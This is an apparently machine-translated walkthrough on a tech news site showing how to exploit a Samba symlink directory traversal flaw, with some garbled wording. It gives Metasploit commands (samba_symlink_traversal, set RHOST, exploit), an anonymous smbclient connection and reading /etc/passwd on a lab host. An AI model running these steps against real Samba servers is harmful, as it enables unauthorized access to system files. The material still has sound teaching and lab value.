In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-09-27 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)06/01 Report--
Samba is a set of programs that implement SMB (server messages block) protocol, cross-platform file sharing and print sharing services. When the sambd of samba is configured for writable file sharing, there is a directory traversal vulnerability. Remote users can use a symmetrical life through the smbclient side to create a file containing. The soft connection of the directory traversal character, you can traverse the directory and access any file.
First, use nmap tools to scan the target host
1.1 scan the target host using the nmap command. Click in the space on the desktop, right-click the menu and choose Open in Terminal.
1.3 enter the command "msfconsole" in the terminal to start the MSF terminal.
1.4 enter the command "search samba" in the terminal to search for samba related tools and * payloads.
1.5 enter the command "use auxiliary/admin/smb/samba_symlink_traversal" in the terminal to enable the exploit module, and the prompt will prompt you to enter the path.
1.6 enter the command "info" in the terminal to view the relevant items that need to be set. "yes" indicates the parameters that must be filled in.
1.7 enter the command "set RHOST 192.168.1.3" in the terminal to set the IP address of the target host.
1.8 enter "set SMBSHARE tmp" in the terminal to set the SAM writable file.
1.9 enter "exploit" in the terminal to start *.
1.10 Open a new terminal, enter "smbclient / / 192.168.1.3/tmp" and enter directly without entering the password.
1.11 enter "cd rootfs" in the terminal, enter the rootfs directory, enter the command "ls" under the terminal, and list the directory.
Type "more / etc/passwd" in the terminal to view the password on the target host system.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
The market share of Chrome browser on the desktop has exceeded 70%, and users are complaining about
The world's first 2nm mobile chip: Samsung Exynos 2600 is ready for mass production.According to a r
A US federal judge has ruled that Google can keep its Chrome browser, but it will be prohibited from
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
About us Contact us Product review car news thenatureplanet
More Form oMedia: AutoTimes. Bestcoffee. SL News. Jarebook. Coffee Hunters. Sundaily. Modezone. NNB. Coffee. Game News. FrontStreet. GGAMEN
© 2024 shulou.com SLNews company. All rights reserved.